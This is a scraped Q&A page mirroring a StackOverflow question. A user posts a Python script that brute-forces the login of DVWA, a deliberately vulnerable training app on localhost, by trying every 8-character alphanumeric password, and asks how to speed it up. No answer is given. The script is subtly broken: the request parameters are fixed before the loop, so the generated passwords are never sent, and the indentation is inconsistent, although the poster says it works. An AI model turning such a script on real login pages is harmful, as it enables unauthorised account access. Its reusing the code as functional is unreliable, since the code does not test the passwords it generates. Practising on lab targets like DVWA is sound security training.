Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
374 views
in Technique[技术] by (71.8m points)

python - How to make this brute forcing DVWA -script faster?

My Python script brute forces in DVWA (Damn Vunerable Web App), it has to brute-force an 8 digit password but without using a word list. It has to generate the passwords and test them on the fly for the following:

  1. Ascii_uppercase
  2. Ascii_lowercase
  3. Digits

It works, but it takes long. The password is "password" but I have to prove it using this script. How to make this script run faster? I'm assuming I have to use threads. The code that generates and tests the passwords:

passwd = ''

####### Parameter information used for GET Requests #######
params = (
    ('username', 'admin'),
    ('password', passwd),
    ('Login', 'Login'),
)

    password_length = 8 

    for combo in product(string.ascii_lowercase + string.ascii_uppercase + string.digits, repeat=password_length):
        passwd = ''.join(combo)
        r = requests.get('http://127.0.0.1/dvwa/vulnerabilities/brute/', headers=headers, params=params, cookies=cookies, verify=False)
        print(''.join(combo))
        
        if 'Username and/or password incorrect.' in r.text:
            print('Crack failure')
        else:
            print("Crack Success")
            print("Password is: " + passwd)
            sys.exit() 
question from:https://stackoverflow.com/questions/65888829/how-to-make-this-brute-forcing-dvwa-script-faster

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Answer

0 votes
by (71.8m points)
Waitting for answers

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...